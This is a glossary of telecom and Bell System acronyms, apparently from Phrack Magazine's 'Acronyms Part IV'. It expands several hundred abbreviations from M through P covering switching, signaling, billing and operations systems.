MHS Message handling service

MHS Message handling system

MHZ Megahertz

MI Machine interface

MI Message interface on the

MI Swbt minimal input

MIAS Marketing information analysis system

MICA Mechanized intercompany contract administration

MICC Minicluster controller

MICE Modular integrated communications environment

MICI Mechanized independent company input

MICR Minimal input customer records

MICRO/TEL Micro/tel force analyzer

MICS BTL maintenance space inventory control system

MICU Message interface and clock unit

MICU Message interface clock unit

MID Master interim design

MIFM Mechanized installation force management

MIG Mechanized interval guide system

MIIS Management inventory information system

MIMIC Mts‑wats intrastate model for incremental cost

MIN Minimum

MIN Minimum percentage value of entity fill or minimum CCS value MIN Mobile identification number

MINX Multimedia information network exchange

MIOIO I/O invalid operation error

MIOLE I/O lock error

MIOPE I/O bus parity error

MIOTO I/O timer time out error

MIOUE I/O unlock error

MIP Microprocessor interface port

MIPP Management surplus income protection plan

MIPS Million instructions per second

MIR Micro‑instruction register

MIRA Maintenance input request administrator .

MIRA Mark iv information retrieval aid

MIS Management information system

MIS Mechanized intercepting system

MIS/C Management information system/computer

MISC Miscellaneous

MISCF Miscellaneous frame

MISS Management information staffing system

MITS Microcomputer interactive test system

MIU Metallic interdace unit

MIZAR Management job evaluation

MJEC Multiple job function codes

MJF Modified final judgement

MJU Multipoint junction unit

MKBUSY Make busy.

MKR Marker

MKTG Marketing

ML Matching loss

MLAC Manual loop assignment center

MLC Miniline card

MLC Monitor level code

MLCD Multi‑line call detail

MLH Multiline hunt

MLHG Multi‑line hung group

MLHG Multiline hunt group

MLI Message link interface

MLIIBLNG Microlink II billing

MLNC Failure to match and no circuit

MLPA Modifiable link pack area (IBM)

MLSS Machine load service summary

MLT Mechanized loop test

MLT Mechanized loop testing system

MLT‑1 Mechanized loop testing system‑1

MLT‑2 Mechanized loop testing ‑ the second generation of equipment MLT‑2 Mechanized loop testing system‑2

MMA Multi‑module access unit (Univac)

MMC Manually modify a circuit

MMC Minicomputer maintenance center

MMEME Memory system error

MMG Minicomputer maintenance group

MMGT Multimastergroup translator

MMI Man‑machine interface

MML Man machine language

MMM Message mile minute

MMOC Minicomputer maintance operation center

MMOC Minicomputer maintenance operations center

MMOCS Minicomputer maintenance and operations center system MMP Module message processor

MMPP Mechanized market programming procedures (BTL)

MMRCS Minicomputer maintenance and repair center system

MMS Main memory status

MMS Memory management system

MMS/SSII Marketing measurement system/support system II

MMS43 Modified monitoring state 43 code

MMSU Modular metallic service unit

MMT Multiple message threshold

MMU Memory management unit (IOS)

MMX Mastergroup multiplex

MN02 List of circuits in trouble in memory

MNP Microcom networking protocol

MOC Machine operations center

MOC Maintenance and operations console

MOC Maintenance operation console

MOC Ministery of communication

MOC Moe order completion

MOD Ministery of defense

MOD Modifier

MOD Modulated

MOD Module number

MOD1 Miscellaneous per SM measurements (MOD1)

MODCOES Modified central office cost

MODEM Modulator‑demodulator

MOE Mass oe transfers

MOF Mass oe frame transfer listings

MOG Minicomputer operations group

MOI Maintenance and operation interface

MOI Mizar order inquiry

MOMS Missouri marketing system

MON Monitor

MON Monitor channel (i.e. IOM2)

MON Mouth

MOOSA Mechanized out of service adjustment system

MOOSE Macs online organization system entry (distribution services) MOS Maintenance and operations subsystem

MOS Metal oxide semiconductor

MOSOP Mechanized operator services occupational payroll MOST Managing operations systems in transition

MOSTED Motor vehicle/special tools expense distribution

MOT&R Master office test and release circuit

MOTS Mechanized operations tracking system

MOU Minutes of use

MOU‑AS The annual study module of DRP/MOU

MOU‑DA The data accumulation module of DRP/MOU

MOVE Move remote line Concentrating module

MOW Moe order withdrawal

MP Maintance POSITION

MP Message processing program

MP Microprocessor

MP Multi‑processor

MPAP Management potential appraisal plan

MPC Marker pulse conversion

MPC Messages per customer

MPC Mp command

MPCG Message processing clerical guide

MPCH Main parallel channel

MPDB‑OS Outside plant‑pair gain

MPDBCOAR MPDB‑central office equipment and repair services MPDBSRVC Office supplies computers and other services

MPDU Message protocpl data units (x.411)

MPES Message processing entry system

MPFRS Mechanized project force requirement system

MPI Mechanized project impact system

MPK Modify work package

MPLR Mechanized plant location records system

MPLUM Mechanized plant utilization management

MPN Master work package number

MPOOS Modem pool line out of service.

MPOW Multiple purpose operator workstation

MPPD Multi‑purpose peripheral device

MPRIN Mate peripheral interrupt

MPS Mechanized pension system

MPS Misplaced start pulse

MPS Misplaced start pulse (MDII)

MPT Message transfer part

MPTS Market planning and tracking system

MQ Metalic customized‑service code for LATA access

MQH Marker queue high

MQL Marker queue low

MR Maintenance request (BTL)

MR Measured rate

MR Message rate (BSP)

MR Message register

MR Message register COSMOS command

MR Modified read (relative element address designate

MR Monitor read (flow control bit in IOM2)

MR/IBPS Management report/integrated budget and planning system MRAA Meter reading access arrangement

MRCS Modification request control system

MRDB Memory resident data base

MRDYT Ready time out

MRF Maintenance reset function

MRF Message refusal received (outgoing)

MRF Message retention file

MRFA Mechanized repair force administration

MRFF Master reference frequency frame

MRFIS Mechanized request for information systems

MRO Message register option

MRP Mechanized revenue planning system

MRPS Mobile radio priority system

MRR Mandatory review reporting

MRS Management reporting system (TNDS)

MRSELS Microwave radio & satellite eng. & lic

MRTI Message‑rate treatment index (AMA NTI)

MRTS Mechanized real time tracking system

MRTTA Message recording trunk trouble analysis

MRWPE Read or write parity error

MS Machine screw (BSP)

MS Maintenance state

MS Measured service

MS Mechanized scheduling

MS Memory subsystem

MS Menue software (sipb.exe)

MS Microseconds

MS6E Message switching #6 equipment

MS7E Message switching #7 equipment

MSA Management science america

MSAG Master street address guide

MSC Media stimulated calling

MSC Minimum service charge

MSCP Mass storage control protocol

MSCS Management scheduling and control system

MSCU Message switch control unit

MSCU Message switch controller unit

MSDS Material safety data sheet system

MSFDB Market share forecast data base

MSGBUF Message buffer

MSGCLS Message class

MSGLOCK Message lock

MSGNO Message number

MSGP Microcomputer support group programming

MSGS Message switch

MSK Output a transaction mask

MSKMR Mate reset

MSM Multi‑state marketing system

MSMTCH Mismatch.

MSN Multiple subscriber number (i.251 b)

MSORS Mechanized sales office record system (BTL)

MSP Management salary plan

MSP Metropolitan service plan

MSPR Message switch peripheral unit

MSR Marketing surveys and reports

MSR Mechanized sales results system (mbt directory sales) MSR Mechanized service record

MSR Mizar status report

MSR/DIS Mechanized service record/disability subsystem

MSS Mass storage system

MSS Mss is a dialup for... database of 1800 numbers... MSSS Mechanized supply stock system

MSTIC Mechanized standard time increments (we/eplans)

MSTS Measured service tracking system

MSU Message signal unit

MSU Metallic service unit

MSU Msg. signal unit (SS7)

MSUCOM Metallic service unit common

MSUS Measured service usage studies

MSUSM Subunit select mismatch

MT Master record tape unit number or tape drive to write MT Wired music INTER/TRA blocal 1‑26

MTA Message transfer agent (x.400)

MTAE Message transfer agent entity (x.400)

MTB Magnetic tape billing

MTB Metallic test bus

MTC Facs maintenance transaction

MTCE Maintenance (default).

MTCE Maintenance parameters

MTD Magnetic tape drive

MTD Mutilated digit

MTD Mutilated digit (MDII)

MTECS Iimechanized toll error correction system phase ii MTECS Mechanized toll error correction system

MTEL Main telephone

MTF Master test frame

MTH Magnetic tape handler

MTIB Metallic test interconnect bus

MTIBAX Metallic test interconnect bus access

MTINT Miscellaneous timer interrupt

MTL Maximum termination liability

MTLR Mechanized trouble log report

MTLT Maintance transmission action limit table

MTM Maintenance trunk module (NTI)

MTO Master terminal operator

MTP Management transitional program

MTP Message transfer part (SS7: q.701‑q.710)

MTP Message transfer part.

MTP Message transfer protocol (x.411: p1)

MTR Manually test a response

MTR Mechanized time reporting

MTR Tape drive to read

MTRS Marketing or management time reporting system

MTRS Mechanized training records system

MTRS/FCC Management time reporting system/fcc report

MTRT Mate ready time out

MTS Manual test system

MTS Memory time swich peb2040

MTS Message telecommunications service

MTS Message telecommunications system

MTS Message telephone service

MTS Message teleprocessing system

MTS Message toll service

MTS Mobile telephone service

MTSC MTS CMOS (512 incoming channels)

MTSDB Message telecommunications services data base

MTSI Msg telecommunications ser price index

MTSL MTS large (1024 incoming channels)

MTSO Mobile telephone switching office

MTSS MTS small (256 incoming channels)

MTTP Master trunk test panel

MTU Magnetic tape unit parameters

MTU Maintenence termination unit

MTU Media tech unit

MTW Tape drive to write

MTX Mobile telephone exchange

MU Maintenance usage

MU Message unit

MUC Material usage code

MULDEM Multiplexer‑demultiplexer

MULT Multiple

MUM Measured unit message

MUNICH Multichannel (32) network interface controller

MUPH Multiple position hunt

MUSAC Multipoint switching and conferencing unit

MUSIC Modeling for usage sensitive incremental costs

MUT Miniaturized universal trunk frame

MUT Multi‑unit‑test

MUX Multiplex

MUX Multiplexer

MVAS Motor vehicle accident summary

MVCCW Commstar ii call waiting USOC

MVP Multiline variety package

MVS Multiple virtual storage

MVS Multiple virtual storage operating

MVS/MODS TSO display operator messages from programs running under MVS/SP Multiple virtual storages/system product operating system MVS/SPA Multiple virtual storages/system product assist operating MVS/XA Mutliple virtual storage/extended architecture

MVT Multiprogramming with a variable number of tasks

MVTC Motor vehicle type code

MW (ger) service word

MW Mandatory work

MW Multiwink

MWCP Mechanized wire centering program (BTL)

MWI Message waiting indicator

MWPER Write protect error

MX Monitor transmit (flow control bit in IOM2)

MXU Multiplex units

Acronyms Part IV

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 24 of 27

{Acronyms Part IV}

N Estimated time to complete this ticket. N No corrective action

N(R) (NR) receive sequence number

N(S) (NS) transmit sequence number

NA CSACC link (EPSCS) INTER/TRA blocal 1‑26 NA Next address

NA Normal alignment

NAAP New affirmative action program

NAB Network analysis bureau

NAC Network administration center

NAC Network application center

NAC Non‑area code

NACK No ground acknowledgment received on a ground start private facility (FX) trunk NAFMAP Network administration force management and productivity NAG Network architecture group

NAI Telephone number assignment inquiry

NAK Negative acknowledge

NAM Number assignment module

NAND Not‑and gate

NANP North american numbering plan

NAP Network access pricing

NAP Network analysis program (BTL)

NAR Nac assignment review

NARS National yellow pages services accounts receivable system NAS Network analysis system

NAS Numerical and atmospheric sciences network

NAS/CARS Network analysis system/central analysis report system NAS/SRS Network analysis system/subscriber recording system (MBT) NASS Network adminstration support system

NATL National code (NTI)

NAUG Network administration user group

NB Narrow band

NBSY Number of busy (trunks) (NTI)

NC CNCC link (SPSCS) INTER/TRA blocal 1‑26

NC Network channel

NC No circuit

NCA No circuit announcement

NCAT Network cost analysis tool

NCC National coordinating center (national emergency)

NCC Network control center

NCC Notify corrupted CRC (in EOC)

NCCF Network communication control facility (IBM vtam/mcp option) NCCF Network communications control facility

NCD Network call denial

NCDAFTA NCD denied after answer

NCDAFTA Network call denial (NCD) denied after answer

NCDBEFA NCD denied before answer

NCDBLKD NCD returned blocked

NCDCCBL NCD code control blocked

NCDDBOV NCD data base overload

NCDDBOV NCD database overload

NCDDENY NCD deny received

NCDDSBL NCD direct signaling blocked

NCDNOXL NCD returned no translation

NCDOVLD NCD returned overload

NCDUNEQ NCD returned unequipped

NCH Noch

NCI Network channel interface

NCI No card issue

NCLK Network clock

NCLS Non‑capitalized lease system

NCMASTER No circuit master

NCOO Network central office operations

NCOS Dms 100 class of service

NCOSC Network clock 2 oscillator

NCOSS Network communication and operations support system NCP National control point

NCP Network control point

NCP Network control point (in a SDN)

NCP Network control program (IBM3725 software)

NCR‑ Sclrnetwork completion report‑system called line report system NCRPAB Network cost results plan

NCS National communications system

NCS National communicatons system

NCSPC Non‑conforming stored program control

NCT Network control and timing

NCT (CP) Network control and timing call processing

NCT LINKS Network control and timing links

NCTE Digital network channel equipment

NCTE Network channel terminating equipment

NCTE Network channel terminating equipment (FCC NT1) NCTLNK Network control and timing link

NCU Network control unit

ND Network data line INTER/TRA blocal 1‑26

NDA Network data analyzer

NDA Network delivery access

NDBS Network data base system

NDC National destination code (i.e. area code)

NDC Network data collection

NDC Node data collection

NDCC Network data collection center

NDIS National dial‑it services

NDPCC Network data processing coordination center

NDRAS Network distribution resource administration system NDS Network data system

NDS Network distribution services

NDS‑TIDE Network data system‑traffic information distributor and NDS/ANN Announcement system ‑ System/36

NDS/BMR Bmrbudget morning report ‑ System 36

NDS/CONAD Conadcontract administration system ‑ System 36 NDS/FLEXNDS Flexible reporting

NDS/FORMS Mechanized forms ‑ System 36

NDS/MT Mechanized tool interface ‑ System 36

NDS/PDB Personnel database ‑ System 36

NDU Network data unit

NE Near end

NE Network element

NE Network elements

NEAS Non‑optional extended area service

NEBE Near end block error (IOM2 monitor message)

NEBS Network equipment‑building system

NEBS Network equlpment‑building system

NEBS New equipment‑building system

NECA National exchange carrier association

NECC National emergency coordination center (bellcore)

NEG Negative

NEON Nonmanagement employee opportunity network

NERC National emergency relocation center

NESAC National electronic switching assistance center

NESC National electric safety code

NET (ec) european standards of telecommunication

NETPARS Network performance analysis reporting system (IBM Vtam) NETPRT Netprt

NETS Nationwide emergency telecommunications system NETTIMS Nettims

NETWORK Sidethe segment of the time slot interchanger (TSI) that is NEXT Near end cross (x) talk

NEXT Near end crosstalk

NEXT Node exhaust tool system

NFID Non‑fielded id

NFM Network force management

NFS Network file system

NFT Network file transfer

NG No good

NGF Number group frame

NGF Number group frame for 5 Cross Bar

NHLS Next higher level support

NHR Non hierarchial routing

NHR Not hard to reach

NI Network interface

NI/NC Network interface/network channel

NID Network in dialing

NID Network information database

NIP Nucleus initialization program

NIPA Net income and productivity analysis

NIRS National yellow pages services invoice receiving system NIS Operation system‑intelligent network elements NIS(FLEXCOM) Network interface system ‑ OPS/INE

NKP No key pulse

NKP No key pulse (MDII)

NL‑PG Line number page

NLD Nonlinear distortion

NLD‑SN Nonlinear distortion signal/noise

NLDM Network logical data manager (IBM VTAM option)

NLP Network layer protocol

NM Network maintenance

NM Network management

NM Network management.

NM Network module

NMA Network management applique

NMA Network monitoring and analysis

NMAT Nonmanagement attendance tracking system

NMB Network management busy (NTI)

NMC Network management center

NMC Network mondule controller (NTI)

NMDT Network management display terminal (AT&T)

NMMPEN Network maintenance management planing

NMOS Network management operations support

NMPR Network management printer (AT&T)

NMS Network management services

NMS Network management system

NN Two digit number

NNN Three digit number

NNNN Four digit number

NNX Central office code designating the customer exchange NNX Network numbering exchange

NNX Telephone exchange code

NO Number

NOC National operations center at Bedminister N.J.

NOC Network operations center

NOC Normalized office code

NOCS Network operations center system

NOD Network out dialing

NODAL Network operations forum

NOE Number of oes to be assigned

NOL Nac service order listing

NOMAD No‑op instruction

NOPS Network operations plan system

NOR/TADS North region/testing and development system

NORAD North american air defense command

NORGEN Network operation report generating

NORGEN Network operations report generator

NORGEN Network operations report generator system

NORM Normal

NORM Return to normal (IOM2 monitor command/message)

NOS Network operating system

NOTIS Network operations trouble information system

NOW Network optical warehouse

NP Non‑published

NPA Area code and exchange number

NPA Network peformance analyzer (IBM)

NPA No power alarm

NPA Numbering plan area (area code)

NPAP Nonmangement performance appraisal plan

NPC Network processor circuit

NPC No parameter choices

NPDA Network problem determination applicator (IBM)

NPH Network protocol handler

NPM Network performance monitoring system

NPS Network planning system

NPSI Ncp packet switching interface

NPUMP Normal pump

NPV Net present value

NQ Telegraph customized‑service code for LATA access

NR No response.

NRAS Nova/rider awards system

NRC Non‑recurring charge

NRG Number of rings

NRM Normal response mode (hscx)

NRM Normalizing ccs value

NRODD Non‑redundant ODD

NRRI National regulatory research institute data

NRRT Non‑reroutable traffic

NRS Network routing system (MBT)

NRT No response while in test mode.

NRZ Non return to zero

NRZC Nrz change

NRZI Nrz inverted

NRZM Nrz mark

NSA National security agency

NSAC Network service administration center

NSACGCOMP NS SCP ACG component

NSBADRESP NS SCP response message with invalid data

NSC Network service center

NSCMP Network service center multi (dddcservice bureau) NSCS Network service center system

NSD No start dial

NSD Number summary display

NSDB/IA Network and service data base/interface administration NSE Network switching engineering

NSE Noise

NSEC Network switching engineering center

NSEP National security emergency preparedness

NSFNET National science foundation network

NSN Network services node

NSNONRTEMSG NS reject message

NSP Network service part (SS7: SCCP+MTP)

NSP Non sent paid (coin)

NSPEC Node spec file

NSPMP Network service performance measurement plan

NSPMP Network switching performance measurement plan

NSPRR Network switching performance results report NSQRYFAIL NS query fail

NSS Network support system

NSSD Network switched services district

NSSNCOMP NS SCP response message with a send notification NSSNCOMP NS SCP response message with a send notification received at the switch NSTAC National security telecommunications advisory committee NSTNMSG NS termination notification message sent from the switch to the SCP NSTS Network services test system

NSU Network support utilities

NSs Network system (i.e. DACS; SDACSL CDACSL OSU; CSU... etc) NStA (Ger) PBX

NT Network termination

NT Northern telecom

NT Protection alarm‑metalic‑service code for LATA access NT/S NT simulator SIPB7020

NT01 Network frame unable to switch off line after fault detection NT02 Network path trouble trunk to line ‑ 1AESS network trouble NT03 Network path trouble line to line ‑ 1AESS network trouble NT04 Network path trouble trunk to trunk ‑ 1AESS network trouble NT06 Hourly report of network frames made busy ‑ 1AESS network trouble NT1 NT serving layer 1 (NCTE)

NT10 Network path failed to restore ‑1AESS network trouble NT2 NT serving layer 1 to 3 (subscriber interface of nt NTC National trunk congestion

NTD Normal direction

NTDACT Network termination (NT) is deactivated.

NTE Network terminal equipment

NTE Network terminating equipment

NTEC Network technical equipment center

NTEC Network terminal equipment center

NTEC Networkbterminal equipment center

NTI Northern telcom inc.

NTIA National telecommunications and information agency NTM Nt test mode (IOM2 monitor message)

NTN Number of tns to be assigned

NTO Network terminal option (IBM)

NTOFN NT off normal.

NTP Northern telecom practice (NTI)

NTPWR NT lost power.

NTRAP Network trouble analysis plan

NTS Network technical support

NTS Network test system

NTT No test trunk

NTTMP Network trunk transmission measurement plan

NTWRK Network

NU Protection alarm‑service code for LATA access

NUA (international) network user address

NUA Network user address

NUA Network utilization analysis

NUC Nailed‑up connection

NUI Network user identification

NUL Null

NUP National user part

NV Protective relaying/telegraph grade‑service code for LATA access NVM Non volatile memory (eeprom)

NW Telegraph grade facility‑75 baud‑service code for LATA access NWB Network‑busy (NTI)

NWK Adminnetwork administration budgets system

NWM Network management (NTI)

NWPK Network packs

NXX Refers to the central office designation of the telephone NY Telegraph grade facility‑ 150 baud‑service code for LATA access NYNEX NYNEX corporation

NYNEX New york

NYPS National yellow pages services

NYPSA National yellow pages services association

O Priority.

O+I Originating plus incoming calls to a switching module. O‑LTM Optical line terminating multiplexer

O/S Operating system

OA Line equipment assignment option

OA Out of alignment

OA&M Operations

OA&M Operations administration and maintance

OAM Office data administration system

OAP Operator services position system administrative processor OASIS Office automation strategy for information systems OASIS Overseas accounting settlement and information

OASYS Office automation system

OATQ OSPS ANSI TCAP query and reply

OATS Operator assistance tracking system

OBA Out of band announcement

OBF Ordering and billing forum

OBH Office busy hour

OBS Observed data rate

OC Office communication

OC Operating company

OC Operator centralization

OC&C Other charges and credits

OCAS OSPS customer account services

OCAS7 OSPS customer account services CCSS7/international CC validation OCC Other common carrier

OCC Other common carriers

OCC Usage occupancy

OCCH Outgoing connections per circuit per hour

OCCS OSPS common channel signaling

OCCS Order control and coordination system (BTL)

OCE Other common carrier channel equipment

OCN Operating company number

OCOIN OSPS coin

OCP Optional calling plan

OCP Origination point code (SS7)

OCPDG Ocp data gathering

OCR Optical character reader (auerbach computer technology report) OCR Optical character recognition (IBM)

OCRS Optical character recognition system

OCS Offical communication services

OCS Old class of service

OCS/CTS Official communications services installation and OCS/CTS Official communications services installation and maintenance cos OCSDSELR OCS data station equipment location report

OCSOLRM Official communications services (OCS) on‑line reference OCTD OSPS centralized automatic message accounting tone decoder OCU Office channel unit

ODA Office data administration

ODA Office data assembler

ODA Office document architecture

ODAC Operations distribution administration center

ODACCIN OSPS directory assistance (DA) call completion and intercept ODB On‑demand B‑channel counts.

ODB Operations divestiture board

ODCS Official data communications service

ODD Office dependent data

ODD Operator distance dialing

ODDBU Office dependent data backup

ODDD Operator direct distance dialing

ODDS Order data distribution system

ODIN Online data integrity system

ODP Office dialing plan

ODP Organization development program

ODP Organizational design program

ODS Overhead data stream

ODS Tnds on‑line demand servicing

OE Office equipment

OE Office equipment / office equipment number

OE Office equpiment number

OEC Other exchange carrier

OEC Outside plant equivalence codes

OEIC Optoelectronic integrated circiut

OEIS OSPS external information system

OEM Original equipment manufacture

OEM Original equipment manufacturer

OF Official (telco owned)

OF Overflow

OFA OSPS facility administration

OFC Office

OFF OSPS fast features

OFF HK Off hook

OFFN Off‑normal

OFL Overflow(s)

OFNPS Outstate facility network planning system

OFRD Offered (calls [peg count])(NTI)

OFRT Office route (NTI)

OFT Optical fiber tube

OGO Outgoing only trunk

OGT Outgoing trunk

OI Off premises intercommunication station line INTER/TRA blocal 1‑2 OI Optical interface

OIJ Orders in jeopardy

OINTA OSPS interflow listing services/C‑ACD measures

OIRCV OSPS interflow T&A calls received

OISNT OSPS interflow T&A calls sent

OKMDT Oklahoma management development training

OKP Operational kernel process

OKRA Operator keyed trouble report

OLCP Optional local calling plan

OLIDB OSPS line information data base

OLIPD Online invoice payment data

OLRM Online reference material

OLS Originating line screening

OLTEP Online test executive program

OLTS Optical loss test set

OM Operational measurement (NTI)

OM Operational measurements

OM Output mux

OMAP Operations and maintanance application part

OMAT Operations maintenance and administration team

OMC Operating and maintainance center

OMD Out messages ‑ day

OMDB Output message data base

OMDB Output message database

OMISC OSPS miscellaneous call

OML Outgoing matching loss

OMM Output message manual

OMNI Online marketing networked information system

OMP SS7 fe operation management protocol

OMPF Operation and maintenance processor frame

ON Off network access line INTER/TRA blocal 1‑26

ON HK On hook

ONA Open network architecture

ONA Open network architecture (FCC computer inquiry iii) ONAC Operations network administration center in K.C. (AT&T) ONAL Off network access line

ONALS Off‑net access lines

ONC On line COSMOS

ONDDBOV OSPS NCD message received indicating database overload ONDDBUN OSPS NCD message returned data base unable to process ONDGMSG OSPS NCD message received garbled

ONDIRPY OSPS NCD message received with an inconsistent reply ONDNBLK OSPS NCD message returned because of network blockage ONDNCON OSPS NCD message returned because of network congestion ONDNRTE OSPS NCD message returned because of no routing data ONDTOUT OSPS NCD message returned because of timeout

ONDUNEQ OSPS NCD message returned

ONDURPY OSPS NCD message received with an unexpected reply ONI Operator number identification

ONP Open network provision

ONPA Originating numbering plan area

ONS On line switch

ONSITE Urban decisions system

ONTC Office network and timing complex

ONTC Office network and timing complex (CM2 offices only) ONTCCOM Office network and timing common units

OOB Out‑of‑band

OOC Originating office code

OOC Out‑of‑chain

OOF Out‑of‑frame

OP Off premises extension INTER/TRA blocal 1‑26

OP Operation

OP Outside plant

OP ALL Option all

OPC Originating point code

OPC Originating point codes

OPCDB Operations common database

OPDU Operations protocol data unit (x.411: p3)

OPEOS Outside plant planning

OPH Operator handled

OPM Outage performance monitoring

OPM Outside plant module

OPN Open‑of‑day report

OPNOXL3 OSPS position no level 3 protocol.

OPR Operator

OPS Off‑premises station

OPS Outside plant study system

OPSM Outside plant subscriber module

OPT Optional

OPU Outside plant cable usage

OPX Off‑premises extension

OR Originating register

OR & RG Operating rate and route guide

ORB Office repeater bay

ORBIT Osp rehabilitation budget information tracker

ORC Originating rate center

ORD Service or work order

ORD Work order

ORD# Order number

ORDN Order number.

ORDNO Service order number

ORE Order edit

ORE‑G Order edit global

ORI Order input

ORIG Allows originating

ORLF Originating register link frame

ORLMF Originating register line memory frame

ORM Optical remote module

ORM Optical remote switching module

ORM Optically remote switching module

ORMC Originating register marker connector

ORP Operational review plan

ORR Overflow reroute

ORRS Online records and reporting system (TNDS)

ORS Order send

ORTN Orientation

ORTR OSPS real‑time rating

OS Off premises PBX station line INTER/TRA blocal 1‑26 OS Operations systems (operations support systems) (OSS) OS Operator service

OS Origination scanning

OS Out of service

OS Out sender

OS Outstate

OS/D Operator services/deaf

OSAC Operator services assistance center

OSAC Operator services of answer consistency

OSAM Overflow sequential access method (IBM)

OSAP Operations systems architecture plan

OSC Operator services center

OSC Oscillator

OSCAS Operator service control access system

OSDS Operating system for distributed switching

OSDS‑C Operating system for distributed switching in the conection OSDS‑M Operating system for distributed in the switching module. OSE Oscillator error flip‑flop

OSI Open system interconnection

OSI Open systems interconnection

OSLF Out sender link frame

OSM1 Optional services menu screen number 1

OSN Operations systems network

OSO Originating screening office

OSO Originating signaling office

OSPE Outside plant engineer

OSPI Operator services planning information

OSPRE/CON Outside plant reconciliation

OSPS Operator service position system

OSPS Operator services position system

OSPS Outside plant studies

OSPS‑DL OSPSystem data links

OSR Ongoing support request

OSS Operation support system

OSS Operations support system

OSS Operations support system (BTL)

OSS Operator service signalling

OSS Operator services system

OSSGR Operator services system generic requirements

OSSP Operations systems strategic plan

OSSS Operator services support system

OSTC Operations systems technical center

OT Originating traffic

OT Other type

OT Overtime

OTA OSPS toll and assistance

OTC Operating telephone company (in bell system)

OTDR Optical time domain reflectometers

OTER Operator team efficiency ratio

OTG Outgoing trunk group

OTH Other

OTO Office‑to‑office

OTR Operational trouble report

OTSS Off the shelf system

OTTS Outgoing trunk transmission system

OUC Orgination unit code

OUT Outgoing trunk groups

OUTWATS Outward wats

OUTWATS Outward wide area telecommunications service

OVF Overflow (NTI)

OVLT Overvoltage protection

OVLY Overlay scheduling

OVOEQ OSPS call volume and equipment usage

OVRLD Overload or congestion control

OVRRNG Overrange

OVS Overseas

OVW Equipment class overwrite

OW Over‑write

OWG Optical wave guide

OWT Outwats [code 024(5500‑5600)]

OXPRESS Zero express

P Commitment time for having this trouble repaired. P‑tone Pseudo tone

P/AR Peak‑to‑average ratio

P/F Poll/final bit

PA Power allarm

PA Program address

PA Program application

PA Protective alarm (AC) INTER/TRA blocal 1‑26

PABX Private automatic branch echange

PABX Private automatic branch exchange

PAC Percent access chargeable

PACE Program for arrangement of cables and equipment

PACK Peripheral equipment packs

PACT Prefix access code translator

PAD Packet assembler/dissasembler

PADDLE Program for administering data bases in the lfacs PADS Planning analysis and decision support

PADSX Partially automated digital signal cross‑connect

PAK Work packages

PAL Pre‑service action limit

PAL Price analysis list

PAL Pricing and loading (mcauto)

PAL Purchasing authorization letter

PAM Pass along method (SS7: in ISUP)

PAM Primary access method

PAM Pulse amplitude modulation

PAN Panel

PAN Personal account number

PANDS Purchase & sales

PANS Pretty advanced new stuff

PAP Publications' accounts payable

PAQS‑10 Provisioning and quotation system

PARMS Parameters

PARTS Tvcom electronic parts inventory

PAS Protocol architecture specification for IOS (PCT)

PAS Public announcement service

PAT Position attached signal time‑out

PAT Position attached signal time‑out (MDII)

PAT Power alarm test

PATROL Old version of 'esscoer'

PAX Private automatic exchange

PAYRO1IC Payroll‑information center

PB Lajga

PB Placement bureau

PB Sdga

PBC Peripheral board controller

PBC Peripheral bus computer

PBC Peripheral bus. computer

PBC Processor bus controller

PBD Pacific bell directory

PBG Packet business group

PBHC Peak busy hour calls

PBM LTG = 0 ho/mo msg reg (no ANI)

PBO Paperless business office

PBOD Pac bell order dist.

PBVS Pacific bell verification system

PBX Private branch exchange

PBXC Private branch exchange center

PBXWL Private branch exchange wiring list

PC Peg count

PC Peripheral control (software)

PC Power controller

PC Primary center

PC Process controller

PC Switched digital‑access line INTER/TRA blocal 1‑26 PCA Philip crosby associates

PCB Program communications block‑IMS (IBM)

PCC Peg count converters

PCDA Program controlled data acquisition

PCF‑II Programming control facility‑II (IBM)

PCH Parallel channel

PCI Panel call indicator

PCID Primary circuit identification

PCL Payroll change list

PCL Pcm data clock

PCM Program control module

PCM Pulse code modulation

PCN Personal communication network (UK)

PCN Product change notices

PCO Peg count and overflow

PCO Plant control office

PCP Primary control program

PCR Preventive cyclic retransmission (SS7 in MTP)

PCSN Public circuit switched network

PCT IOS program coding tools (SDL oriented)

PCTF Per‑call test failure

PCTF Per‑call test failure.

PCTV Program controlled transverters

PD Peripheral decoder

PDA Parameteredatanassembler

PDA Partial dial abandon

PDA Partial dial abandon (MDII)

PDC Primary digital carrier

PDF Power distribution frame

PDI Power and data interface

PDIT Prefix/feature digit interpreter

PDM Power down mode

PDN Public data network

PDSP Peripheral data storage processor

PDT Partial dial time‑out

PDT Partial dial time‑out (MDII)

PDU Protocol data unit (x.400)

PE Peripheral equipment

PE Program audio 200‑3500 hz‑service code for LATA access PECC Product engineering control center

PEP Position establishment for parties

PER For each.. or according to

PER Protocol error record

PF Printout follows

PF Program audio 100‑5000 hz‑service code for LATA access PFM Pulse frequency modulation

PFOFF Power feed off (C/I channel code)

PFPU Processor frame power unit

PFR Party line fill report

PFR Polarity failure

PFR Polarity failure (MDII)

PFS Page format selection (teletex)

PFS Pcm frame synchronisation signal

PG Page

PG Paging INTER/TRA blocal 1‑26

PG Program document index

PG Program frequency weighting

PGTC Pair gain test controller

PH Packet handler

PH Parity high bit

PH Pending header

PH Protocol handler

PH JTR Phase jitter

PH‑ Physical‑

PHY Physical

PIA Plug‑in administrator

PIC PCM interface controller

PIC Plastic‑insulated cable (plant)

PIC Polyolefin insulated cables (plant)

PIC Primary independent carrier (switching)

PICB Peripheral interface control bus

PICS Plug‑in inventory control system

PICS Plug‑in inventory control system (PICS/DCPR) PICS/DCPR PICS/detailed continuing property records

PID Personal ID

PIDB Peripheral interface data bus

PIINT Allow packet interface interrupt

PIN Personal identification number

PIOCS Physical i/o system

PIP PCM interface port

PIP Packet interface port

PIU PCM interface unit

PJ Program audio 50‑8000 hz‑service code for LATA access PK Program audio 50‑15000 hz‑service code for LATA access PKC Package category

PKT Package type

PL Parity low bit

PL Private line

PL Private line circuit number

PL Private line‑voice INTER/TRA blocal 1‑26

PLAR Private line automatic ringdown

PLC Physical link control (IOS)

PLD Partial line down (teletex)

PLGUP Plug‑up (currently no affect).

PLIC Pcm line interface

PLL Phase locked loop

PLU Partial line up (teletex)

PM Peripheral module

PM Peripheral modules

PM Phase modulation

PM Plant management

PM Preventive maintenance

PM Protective monitoring INTER/TRA blocal 1‑26

PM01 Daily report ‑ 1AESS plant measurments

PM02 Monthly report ‑ 1AESS plant measurments

PM03 Response to a request for a specific section of report ‑ 1AESS PM04 Daily summary of iC/Iec irregularities ‑ 1AESS plant measurments PMAC Peripheral module access controller

PMB LTG = 1 ho/mo regular ANI6

PMI Plant managementninstruction

